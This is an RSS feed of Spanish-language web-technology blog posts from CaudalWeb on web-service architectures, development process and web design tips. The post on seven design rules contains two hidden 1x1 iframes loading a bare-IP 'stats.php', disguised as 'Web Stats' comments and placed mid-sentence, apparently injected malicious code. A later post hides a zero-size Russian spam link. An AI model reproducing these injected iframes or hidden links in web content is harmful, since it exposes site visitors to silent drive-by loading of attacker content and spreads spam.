<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CaudalWeb Blog &#187; web</title>
	<atom:link href="http://www.caudalweb.com/blog/category/web/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.caudalweb.com/blog</link>
	<description>CaudalWeb es un blog de tecnologías web, en donde encontrarás contenido relacionado con web 2.0, agile, ajax, recursos, api, tips, etc.</description>
	<lastBuildDate>Thu, 22 Jul 2010 16:20:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Tres arquitecturas basadas en web services</title>
		<link>http://www.caudalweb.com/blog/tres-arquitecturas-basadas-en-web-services/</link>
		<comments>http://www.caudalweb.com/blog/tres-arquitecturas-basadas-en-web-services/#comments</comments>
		<pubDate>Wed, 21 Jul 2010 03:42:53 +0000</pubDate>
		<dc:creator>felohdez</dc:creator>
				<category><![CDATA[servicios]]></category>
		<category><![CDATA[tecnologías]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.caudalweb.com/blog/?p=270</guid>
		<description><![CDATA[Por Felipe López Hernández John Hagel y John Seely Brown (2001) hacen referencia a la arquitectura basada en servicios Web (Web Services) como la &#8220;nueva arquitectura&#8221;, señalando incluso el inicio del final de los sistemas de información propietarios y el &#8220;amanecer&#8221; de los servicios compartidos. W3C define un Web Service como un sistema de software [...]]]></description>
			<content:encoded><![CDATA[<p><em>Por Felipe López Hernández</em></p>
<p>John Hagel y John Seely Brown (2001) hacen referencia a la arquitectura basada en servicios Web (<em>Web Services)</em> como la &#8220;nueva arquitectura&#8221;, señalando incluso el inicio del final de los sistemas de información propietarios y el &#8220;amanecer&#8221; de los servicios compartidos. W3C define un <em>Web Service</em> como un sistema de software diseñado para soportar la interacción e interoperabilidad máquina a máquina sobre una red. Por lo tanto, los servicios Web tiene como principal objetivo proporcionar una forma estándar de interoperabilidad entre diferentes aplicaciones de software que se ejecuta en una variedad de plataformas. Desde mi parecer, a continuación indico cuáles han sido las principales arquitecturas  relacionadas con los <em>Web Services</em>.</p>
<p><strong>Service Oriented Architecture (SOA)</strong></p>
<p>El objetivo de SOA es básicamente la colaboración a través de servicios, los cuales se publican y están disponibles para la invocación en el <em>Service Bus</em>. La adopción de SOA es fundamental para mejorar la agilidad de negocios y la flexibilidad TI prometida por los <em>Web Services</em>. Estos beneficios son entregados por la arquitectura de servicios desde una perspectiva tecnológica y la adopción de protocolos de Web Services, además requieren de un entorno orientado a servicios.</p>
<p>Los resultados han sido que muchas empresas los utilicen en sus plataformas comerciales y que muchas aplicaciones se diseñen y desarrollan bajo una arquitectura orientada a servicios. Además, SOA representa también una oportunidad para el desarrollo incremental, despliegue, mantenimiento y extensión de las aplicaciones de negocios (Natis, 2003).</p>
<p><strong>Representational State Transfer (REST)</strong></p>
<p>Según Tyagi (2006), en el mundo de los <em>Web Services</em>, REST es un &#8220;idioma&#8221; clave de diseño que abarca una arquitectura cliente-servidor sin estado en el que los servicios web son vistos como recursos y pueden ser identificados por sus direcciones URL. Los servicios web REST se construyen usando HTTP, URIs, XML, JSON, Atom, etc. Los clientes de que utilizan estos recursos acceden a una representación particular mediante la transferencia de contenido de la aplicación usando métodos remotos que describen la acción que debe realizarse en el recurso. REST es una descripción analítica de la arquitectura Web existentes, y por lo tanto la interacción entre el estilo y el protocolo HTTP parece perfecta. REST tiene como principales principios u objetivos la utilización de los estándares Web, tales como HTTP y URI, y aprovechar la arquitectura de la Web para su beneficio.</p>
<p>Los resultados de REST es que actualmente existen una gran cantidad de aplicaciones basadas en REST, que prácticamente cualquier servicio es accesible desde una petición GET en HTTP, en contraposición a SOA que es más restrictiva. De acuerdo con Wikipedia, algunas de las aplicaciones las encontramos en blogosfera, Amazon.com, eBay, Bloglines, Yahoo, Microsoft, Twitter, Google Apps, SalesForce, etc.</p>
<p><strong>Software as a Service (SaaS)</strong></p>
<p>&#8220;Software como servicio (del inglés<em>: Software as a Service</em>, SaaS) es un modelo de distribución de software en donde la compañía de tecnologías de información y comunicación (IT) provee el servicio de mantenimiento, operación diaria, y soporte del software usado por el cliente&#8221; (Wikipedia, 2010). Por lo tanto, SaaS es una aplicación &#8220;hospedada&#8221; en un servidor remoto y accedida desde Internet. Muchas de estas son software de negocios y típicamente son de menor costo para que el negocio pueda tener software especializado y que muchos usuarios lo puedan operar. Las características del software como servicio incluyen: acceso y administración a través de una red, actividades gestionadas desde ubicaciones centrales permitiendo a los clientes el acceso remoto a las aplicaciones mediante la Web, la distribución de la aplicación es más cercana al modelo uno-a-muchos (una instancia, múltiples usuarios) que al modelo uno-a-uno, actualizaciones centralizadas y frecuente integración con una red mayor de software de comunicación.</p>
<p>Los resultados es que es una tecnología emergente, y tienen ventaja sobre SOA de que las aplicaciones de software se comunican entre sí. Gartner espera que para el 2010 el 25% del software de negocio sea entregado en una arquitectura SaaS. SaaS está llamando mucho la atención en estos días, se puede decir que SaaS está marcando la pauta para muchos enfoques de modelos de negocio que van desde las <em>Green TIs</em>, plataformas como servicios, <em>Cloud-computing</em>, <em>Grid-computing</em>, <em>Application Service Provider</em> (ASP), etc. Además, según Singla (2009), SaaS envuelve muchas aplicaciones expuestas en la red como son software para soporte a clientes, sistemas financieros, comercio electrónico, sistemas de pago, inteligencia de negocios, administración de ventas y mercadotecnia, entre otras.</p>
<p><strong>Conclusión</strong></p>
<p>Como se puede apreciar, las tres arquitecturas son tecnologías basadas en Web Services que ha emergido en la última década, destacando precisamente a SOA como una arquitectura para la integración de servicios, REST como una arquitectura simple y ampliamente utilizada por su facilidad de acceso todo desde una petición HTTP sin ser restrictivo como lo es SOA, y por último, <em>Software as a Service</em>, la cual envuelve muchas aplicaciones, que en estos días los departamentos de TIs la están tomando mucho en cuenta por las oportunidades de negocio que esta ofrece.</p>
<div class="wp-caption aligncenter" style="width: 475px"><a href="http://www.udidahan.com/wp-content/uploads/concept-map.jpg" onclick="javascript:pageTracker._trackPageview('/http://www.udidahan.com/wp-content/uploads/concept-map.jpg');"><img class="   " title="Mapa conceptual" src="http://www.udidahan.com/wp-content/uploads/concept-map.jpg" alt="Mapa conceptual" width="465" height="338" /></a><p class="wp-caption-text">SOA, REST y SaaS en un mapa conceptual de sistemas distribuidos (Dahan, 2008)</p></div>
<p style="text-align: center;">
<p><em><span style="color: #999999;">Fuentes consultadas</span></em></p>
<p><span style="color: #999999;">Booth, D.; Hass, H.; McCabe, F.; Newcomer, E.; Champion, M.; Ferris, C. &amp; Orchard, D. (2004). Web Services Architecture. W3C Working<span style="color: #999999;"> Group. From http://www.w3.org/TR/ws-arch/</span></span></p>
<p><span style="color: #999999;">Dahan,  U. (2008). Distributed Systems Conceptual Map.  The Software Simplist,  Enterprise Development Expert &amp; SOA Specialist. From  http://www.udidahan.com/2008/08/04/distributed-systems-concept-map/</span></p>
<p><span style="color: #999999;"><span style="color: #999999;">Hagell, J. &amp; Brown, J. S. (2001) Your Next IT strategy. Harvard Business Publishing Corporation. Fr</span>om http://tailieu.athena.edu.vn/Ky%20Nang%20IT/Kinh%20Doanh%20IT/Your%20Next%20IT%20Strategy%20-%20Harvard%20Business%20Review.pdf</span></p>
<p><span style="color: #999999;">Natis, Y. V. (2003). Service-Oriented Architecture Scenario. Gartner Reseach. (ID: AV-19-6751). From http://www.gartner.com/resources/114300/114358/114358.pdf</span></p>
<p><span style="color: #999999;">Singla, V. (2009). The Overlapping Worlds of SaaS and SOA: How SaaS and SOA will enable &#8220;IT as a Service&#8221;. Cloud Computing Journal. From http://www.dosideas.com/noticias/java/314-introduccion-a-los-servicios-web-restful.html</span></p>
<p><span style="color: #999999;">Sprott, D. &amp; Wilkes, L. (2004). Understanding Service-Oriented Architecture. Microsoft Architect Journal. From http://msdn.microsoft.com/en-us/library/aa480021.aspx</span></p>
<p><span style="color: #999999;">Tilkov, S. (2007). A Brief Introduction to REST.InfoQ. From http://www.infoq.com/articles/rest-introduction</span></p>
<p><span style="color: #999999;">Tyagi, S. (2006). RESTful Web Services. Oracle. From http://java.sun.com/developer/technicalArticles/WebServices/restful/</span></p>
<p><span style="color: #999999;">WIKIPEDIA. (2010). Representational State Transfer. Wikipedia, the free encyclopedia. From http://en.wikipedia.org/wiki/Representational_State_Transfer</span></p>
<p class="addtoany_share_save_container">
    <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Tres%20arquitecturas%20basadas%20en%20web%20services&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Ftres-arquitecturas-basadas-en-web-services%2F" onclick="javascript:pageTracker._trackPageview('/http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Tres%20arquitecturas%20basadas%20en%20web%20services&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Ftres-arquitecturas-basadas-en-web-services%2F');">Compartir/guardar</a>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.caudalweb.com/blog/tres-arquitecturas-basadas-en-web-services/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Seis aspectos a considerar para el desarrollo Web</title>
		<link>http://www.caudalweb.com/blog/seis-aspectos-a-considerar-para-el-desarrollo-web/</link>
		<comments>http://www.caudalweb.com/blog/seis-aspectos-a-considerar-para-el-desarrollo-web/#comments</comments>
		<pubDate>Mon, 19 Jul 2010 04:12:08 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[desarrollo]]></category>
		<category><![CDATA[proceso]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.caudalweb.com/blog/?p=255</guid>
		<description><![CDATA[Por Felipe López Con base a lecturas en Wikipedia y analizando procesos de desarrollo de algunas empresas encontré que típicamente el proceso de desarrollo de software tradicional y de Web no varían, es decir, generalmente pasan por requerimientos, diseño, implementación, pruebas e implantación. En particular, coincido con G. Engels, M. Lohmann &#38; A. Wagner (2003), [...]]]></description>
			<content:encoded><![CDATA[<p><em>Por Felipe López</em></p>
<p>Con base a lecturas en Wikipedia y analizando procesos de desarrollo de algunas empresas encontré que típicamente el proceso de desarrollo de software tradicional y de Web no varían, es decir, generalmente pasan por requerimientos, diseño, implementación, pruebas e implantación. En particular, coincido con G. Engels, M. Lohmann &amp; A. Wagner (2003), quienes señalan que los programadores de aplicaciones web se enfrentan con más frecuencia a nuevos requerimientos (o cambios en estos) que los desarrolladores de sistemas de software tradicional. Por lo tanto el proceso de desarrollo de software tradicional tiene que ser adaptado cuando se desarrolla una aplicación para web de acuerdo a las siguientes aspectos.</p>
<ul>
<li>La duración del proyecto en ciclos de desarrollo son cortos, es decir, de tres a seis meses promedio comparado con las aplicaciones tradicionales que son de 12 a 18 meses.</li>
<li>Los requerimientos para aplicaciones web cambian o emergen durante el desarrollo del proyecto.</li>
<li>Las liberaciones a plazos fijos conduce a una metodología de desarrollo basada en prototipos.</li>
<li>Se presta para el desarrollo paralelo en diferentes versiones, es decir, que muchas actividades en el diseño, implementación y pruebas pueden trabajarse en paralelo para diferentes versiones.</li>
<li>La reutilización e integración es necesaria porque la presión por el tiempo conduce a que se desarrollen componentes reutilizables y que se puedan integrar en otros proyectos.</li>
<li>Los niveles de complejidad en el desarrollo web es de menor en las primeras etapas, y conforme se van integrando mas perspectivas la complejidad aumenta.</li>
</ul>
<p>De acuerdo a lo anterior, considero que no se recomienda que los especialistas del proceso de desarrollo de software desarrollen una aplicación web porque esta demanda grupos multidisciplinarios, mucha comunicación y coordinación, además de que los grupos son más pequeños y con semejante expertis.</p>
<p><em><span style="color: #808080">Fuentes consultadas:</span></em></p>
<p><em><span style="color: #808080">G. Engels, M. Lohmann &amp; A. Wagner.(2006). Web Engineering: The Discipline of Systematic Development of Web Applications. (pp 197-218). John Wiley &amp; Sons.</span></em></p>
<p><em><span style="color: #808080">Wikipedia. (2010). Wikipedia, the free encyclopedia. From http://en.wikipedia.org/wiki/Software_development_process, http://en.wikipedia.org/wiki/Agile_web_development y http://en.wikipedia.org/wiki/Software_development_methodology</span></em></p>
<p><em><span style="color: #808080">Outsource2india. (2010). Application Development Process. From http://www.outsource2india.com/software/process.asp</span></em></p>
<p><em><span style="color: #808080"> B. Alexander. (2010). Macronimous. Site Development Process. From http://www.macronimous.com/resources/web_development_life_cycle.asp</span></em></p>
<p class="addtoany_share_save_container">
    <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Seis%20aspectos%20a%20considerar%20para%20el%20desarrollo%20Web&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Fseis-aspectos-a-considerar-para-el-desarrollo-web%2F" onclick="javascript:pageTracker._trackPageview('/http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Seis%20aspectos%20a%20considerar%20para%20el%20desarrollo%20Web&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Fseis-aspectos-a-considerar-para-el-desarrollo-web%2F');">Compartir/guardar</a>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.caudalweb.com/blog/seis-aspectos-a-considerar-para-el-desarrollo-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Las siete reglas de un diseño Web</title>
		<link>http://www.caudalweb.com/blog/las-siete-reglas-de-un-diseno-web/</link>
		<comments>http://www.caudalweb.com/blog/las-siete-reglas-de-un-diseno-web/#comments</comments>
		<pubDate>Sat, 21 Mar 2009 08:11:17 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[consejos]]></category>
		<category><![CDATA[diseño]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.caudalweb.com/blog/?p=207</guid>
		<description><![CDATA[El diseño Web es un término ambiguo, pero me quedo con el desarrollo del aspecto visual que le da un sentido a la compañía o al individuo que representa. Un diseñador Web debe entender aspectos técnico y artísticos; aunque no necesariamente necesita la especialización de ambos. Hay siete reglas básicas que un diseñador web debe [...]]]></description>
			<content:encoded><![CDATA[<p>El <strong>diseño Web</strong> es un término ambiguo, pero me quedo con el desarrollo del aspecto visual que le da un sentido a la compañía o al individuo que representa. Un diseñador Web debe entender aspectos técnico y artísticos; aunque no necesariamente necesita la especialización de ambos. Hay siete reglas básicas que un diseñador web debe seguir.</p>
<ol>
<li><strong>Solo porque puedes no significa que debas</strong>.  Actualmente hay muchas tecnologías Web y no porque haya deban de utilizarse (por ejemplo Ajax, Flash, etc.); la pregunta que deberia hacerse un diseñador Web es: &#8220;&#8216; ¿La tecnología agrega valor al sitio o solo se utiliza para mostrar que hay novedad? &#8220;.</li>
<li><strong>Hay casi siempre una excepción</strong>. Un diseñador Web debe tener cuidado de excluir una tecnología Web, ya que si bien, no funciona para muchos usuario, quiza haya un grupo que lo prefiera (Por ejemplo, un logotipo animado con flash).</li>
<li><strong> El último juez es el usuario</strong>.  Opiniones durante el diseño del sitio nunca faltan (del diseñador, del jefe, del programador, etc); pero la conclusión es que el sitio debe tener sentido para el usuario, por lo tanto el sitio debe ser diseñado teniendo en mente al usuario.</li>
<li><strong>Cruzar experiencias es algo que un diseñador Web debe esforzarse.</strong> Un dieño Web profesional requiere entender las necesidades del usuario,  independientemente de los aspectos técnicos y estéticos que el sitio pueda tener.</li>
<li><strong>La humildad es el mejor enfoque.</strong> Siempre va a haber diseñadores con diseños de sitios más atractivos, por lo tanto el aprender de los demás fortalece las habilidades.</li>
<li><strong>Es imposible complacer a todos. </strong> Un diseño nunca va a dejar a todos contentos; y todo mundo tiene una<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> opinión. Sin embargo, hay una línea delgada<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> entre hacer feliz a la mayoría y tratar de crear un sitio que realmente sea eficaz en la comunicación.</li>
<li><strong>Tratar de estar en el tope de las especificaciones y estándares</strong>. Las especificaciones y estándares Web cambian constantemente, por lo tanto un diseñador Web debe tener una comprensión básica de las últimas tecnologías, las cuales afectarán el trabajo futuro.</li>
</ol>
<p>Además de las reglas básicas, un diseñador Web debería tomar en cuenta que debe haber tres factores en un sitio:</p>
<ol>
<li><strong>La estéticca</strong>. Qué tan profesional y consistente es el sitio con el negocio.</li>
<li><strong>La usabilidad</strong>.  Qué tan facil y rápido el usuario encuentra la información o ejecuta sus tareas.</li>
<li><strong>La funcionalidad</strong>. Qué tanto funciona el sitio y permite a los usuarios resolver sus problemas.</li>
</ol>
<p>De lo anterión se concluye que un sitio Web es exitoso si cumple con tres cosas: que le guste al usuario,  lo use  y le funcione.</p>
<div><a href="http://www.scrnshots.com/users/felohdez/screenshots/139453" onclick="javascript:pageTracker._trackPageview('/http://www.scrnshots.com/users/felohdez/screenshots/139453');"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/139453/tmppng_med_rect" alt="" /></a><a href="http://www.scrnshots.com/users/felohdez/screenshots/139449" onclick="javascript:pageTracker._trackPageview('/http://www.scrnshots.com/users/felohdez/screenshots/139449');"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/139449/tmppng_med_rect" /></a>
</div>
<p class="addtoany_share_save_container">
    <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Las%20siete%20reglas%20de%20un%20dise%C3%B1o%20Web&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Flas-siete-reglas-de-un-diseno-web%2F" onclick="javascript:pageTracker._trackPageview('/http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Las%20siete%20reglas%20de%20un%20dise%C3%B1o%20Web&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Flas-siete-reglas-de-un-diseno-web%2F');">Compartir/guardar</a>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.caudalweb.com/blog/las-siete-reglas-de-un-diseno-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>12 pasos para hacer un sitio web exitoso</title>
		<link>http://www.caudalweb.com/blog/12-pasos-para-hacer-un-sitio-web-exitoso/</link>
		<comments>http://www.caudalweb.com/blog/12-pasos-para-hacer-un-sitio-web-exitoso/#comments</comments>
		<pubDate>Thu, 11 Dec 2008 04:07:03 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[consejos]]></category>
		<category><![CDATA[proyectos]]></category>
		<category><![CDATA[recomendaciones]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[éxitoso]]></category>

		<guid isPermaLink="false">http://www.caudalweb.com/blog/?p=176</guid>
		<description><![CDATA[En los últimos años, hemos aprendido mucho sobre cómo hacer sitios web, sin embargo, si la meta es hacer dinero o hacer algo diferente entonces estos 12 pasos te ayudarán a lograrlo. Saber por qué quieres tener un sitio web. Demasiadas organizaciones construyen sitios sin saber siquiera el por qué. Hay que contestarnos las siguientes [...]]]></description>
			<content:encoded><![CDATA[<p class="docText">En los últimos años, hemos aprendido mucho sobre cómo hacer sitios web, sin embargo, si la meta es hacer dinero o hacer algo diferente entonces estos 12 pasos te ayudarán a lograrlo.</p>
<ol>
<li> <span><strong>Saber por qué quieres tener un sitio web</strong>. Demasiadas organizaciones construyen sitios sin saber siquiera el por qué. Hay que contestarnos las siguientes preguntas: </span><span>¿</span><span>Cómo ayudará tu sitio web a la organización? </span><span>¿</span><span>Cómo o de que manera ayudará a los visitores?.</span></li>
<li><span><strong>Construir el sitio web para el usuario</strong>. No para ti. Los usuarios llegan al sitio con un propósito en mente, y tu trabajo es ayudarles a completar su propósito. Esta es la principal lección que hay que aprender: tu sitio web es para los usuarios. Ellos llegan al sitio con un propósito en mente, entonces, tu trabajo es ayudarles a conseguirlo.</span></li>
<li><span><strong>Cumplir con una necesidad.</strong> Si quieres atraer visitores lo primero que tienes que hacer es cumplir una necesidad. </span>La necesidad más específica y la solución más efectiva,  lo que la mayoria de las personas buscan llevar a cabo.</li>
<li><span><strong>Escribir un plan</strong>. Es tan simple que a menudo es ignorado: tu deberías hacer siempre un plan &#8211; y escribirlo &#8211; antes de iniciar el trabajo en un sitio. Esto te ayuda a </span> pensar en las decisiones y la estimación de costos. Además, asegura que los miembros del equipo estén de acuerdo con lo que, exactamente, estén construyendo.</li>
<li><span><strong>Colabora</strong>.  Cada sitio exitoso es un esfuerzo de colaboración</span>, que requiere que personas de diferentes disciplinas &#8211; diseño, ingeniería, marketing- trabajen juntos. Pero el pensar de forma diferente, su trabajo diferente, y hablar lenguas muy diferentes hace que ellos pueden necesitar ayuda.</li>
<li><span><strong>Poner atención en el tráfico del sitio</strong>. Al ver lo que hacen los visitantes &#8211; de dónde proceden, en donde hacen clic, cuánto tiempo permanecen, cuando salen &#8211; se puede ver qué es lo que funciona (y qué no) en tu sitio.</span></li>
<li><span><strong>Deja a tu sitio evolucionar</strong>. Después del lanzamiento de tu sitio web, el trabajo real inicia. Hay que ver como es usado y gradualmente hacer los cambios para satisfacer mejor las necesidades de los usuarios.</span></li>
<li><span><strong>Haz tu sitio fácil de usar</strong>. Es una ecuación probado-y-comprobado. Mientras más fácil sea tu sitio web de utilizar, más personas lo usarán. Así que si quieres ganar impulso, haz tu sitio más simple y más sencillo, por ejemplo:  tomar decisiones obvias, elegir nombres claros, y seguir las convenciones de diseño que los usuarios han asumido.</span></li>
<li><span><strong>Probar, probar, probar! </strong>Es difícil predecir lo que ocurrirá cuando un sitio aparece en diferentes navegadores o es utilizado por diferentes personas. Por lo tanto, asegúrete de probar! Probar el diseño y la tecnología en los distintos sistemas. También comprobar si el sitio es usable: ¿Las personas lo entienden? </span><span>¿Pueden completar sus metas?.</span><span> </span></li>
<li><span><strong>Utilizar el email para mantenerse en contacto con los visitores</strong>.</span> Las personas visitan a tu sitio solo cuando ellas lo recuerdan. El email es la mejor forma para recordarselo. No importa que tipo de sitio tengas, el email es la mejor forma para hacer que las personas regresen. Pero recuerda: hay una linea delgada entre el recordatorio y el hostigamiento. No exageres!.</li>
<li><span><strong>Mantente concentrado (enfocado).</strong> Es fácil pensar en un mil cosas que hacer, dado todo el tiempo y los recursos. Pero, no siempre es mejor. Desde el punto de vista del usuario, un buen sitio web es un sitio Web simple, y para características adicionales sólo hay que ponernos en sus zapatos.</span></li>
<li><span><strong>Acelérarlo!</strong>. Puedes hacer todo lo demás correctamente, y aún falla. Si las páginas se cargan lentamente, mejora la velocidad de tu sitio.</span></li>
</ol>
<p><cite>Fuente: &#8220;The Unusually Useful Web Book&#8221; by June Cohen </cite></p>
<p class="addtoany_share_save_container">
    <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=12%20pasos%20para%20hacer%20un%20sitio%20web%20exitoso&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F12-pasos-para-hacer-un-sitio-web-exitoso%2F" onclick="javascript:pageTracker._trackPageview('/http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=12%20pasos%20para%20hacer%20un%20sitio%20web%20exitoso&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F12-pasos-para-hacer-un-sitio-web-exitoso%2F');">Compartir/guardar</a>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.caudalweb.com/blog/12-pasos-para-hacer-un-sitio-web-exitoso/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Seis tips de diseño web efectivo</title>
		<link>http://www.caudalweb.com/blog/seis-tips-de-diseno-web-efectivo/</link>
		<comments>http://www.caudalweb.com/blog/seis-tips-de-diseno-web-efectivo/#comments</comments>
		<pubDate>Sat, 15 Nov 2008 08:52:02 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[desarrollo]]></category>
		<category><![CDATA[diseño]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.caudalweb.com/blog/?p=160</guid>
		<description><![CDATA[Los siguientes son algunos de los tips recomendados para el diseño efectivo de sitios web profesionales, seguramente, ya los aplicamos. Navegación fácil y ligera Los enlaces de navegación juegan un papel muy importante lo cual determina el tiempo en que un visitante permanece y explora el sitio. Diseño del sitio limpio Un diseño limpio con [...]]]></description>
			<content:encoded><![CDATA[<p>Los siguientes son algunos de los tips recomendados para el diseño efectivo de sitios web profesionales, seguramente, ya los aplicamos.</p>
<ul>
<li><strong>Navegación fácil y ligera</strong></li>
</ul>
<blockquote><p>Los enlaces de navegación juegan un papel muy importante lo cual determina el tiempo en que un visitante permanece y explora el sitio.</p></blockquote>
<ul>
<li><strong>Diseño del sitio limpio</strong></li>
</ul>
<blockquote><p>Un diseño limpio con suficiente espacio en blanco mejora la apariencia del sitio. Tratar de mantener la atención en su contenido, utilizar una plantilla para ello. Utilizar fuentes que estarán disponibles en cualquier equipo para evitar un mal estado del sitio.</p></blockquote>
<ul>
<li><strong>Optimización de tiempos de carga<br />
</strong></li>
</ul>
<blockquote><p>Asegurar que el tiempo de carga de las paginas sea bajo. Para esto es recomendable hacer</p>
<ul>
<li>Minimizar gráficos, scripts y peliculas (flash).</li>
<li><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://sikongroup.com/rentacar/index.htm" onclick="javascript:pageTracker._trackPageview('/http://sikongroup.com/rentacar/index.htm');">&#1082;&#1086;&#1083;&#1080; &#1087;&#1086;&#1076; &#1085;&#1072;&#1077;&#1084;</a></font>Optimizar el contenido HTML y codigo script.</li>
<li>utilizar archivos Server Side Include (SSI) tando donde sea posible.</li>
</ul>
</blockquote>
<ul>
<li><strong>Diseñar para todo tipo de resoluciones de pantallas<br />
</strong></li>
</ul>
<blockquote><p>Un sitio que es fácil de utilizar siempre alienta a los visitantes a permanecer y leer su contenido. Para sitio con mucho contenido es muy importante que el desplazamiento requerido sea reducido.  El diseño de una página que se ajuste a cualquier tipo de resolución asegura de que todos los visitantes aprecien un sitio profesional y atractivo.</p></blockquote>
<ul>
<li><strong>Asegurar la escalabilidad del sitio web<br />
</strong></li>
</ul>
<blockquote><p>Asegurar que el código y diseño sea escalable dado el avance constante de la tecnología en plataformas.</p></blockquote>
<ul>
<li><strong>Compatibilidad con los browsers<br />
</strong></li>
</ul>
<blockquote><p>Revisar que el sitio se pueda navegar desde Internet Explorer 5+, Firefox 1.0, Opera 7.0 y Netscape Navigator 6+ ya que ellos conforman el 95% del total de browsers del mundo.</p></blockquote>
<p class="addtoany_share_save_container">
    <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Seis%20tips%20de%20dise%C3%B1o%20web%20efectivo&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Fseis-tips-de-diseno-web-efectivo%2F" onclick="javascript:pageTracker._trackPageview('/http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Seis%20tips%20de%20dise%C3%B1o%20web%20efectivo&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Fseis-tips-de-diseno-web-efectivo%2F');">Compartir/guardar</a>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.caudalweb.com/blog/seis-tips-de-diseno-web-efectivo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tips para construir aplicaciones Web 2.0</title>
		<link>http://www.caudalweb.com/blog/tips-para-construir-aplicaciones-web-20/</link>
		<comments>http://www.caudalweb.com/blog/tips-para-construir-aplicaciones-web-20/#comments</comments>
		<pubDate>Sat, 17 May 2008 09:14:35 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[tecnologías]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.caudalweb.com/blog/?p=99</guid>
		<description><![CDATA[Actualmente se están viendo aplicaciones Web mucho más integradas que en el pasado, es decir, tienen componentes que se pueden distribuir en otras aplicaciones y además se están apoyando cada vez más en Web Services y APIs. También, se está viendo que la funcionalidad de las aplicaciones web está siendo atada en componentes distribuibles tales [...]]]></description>
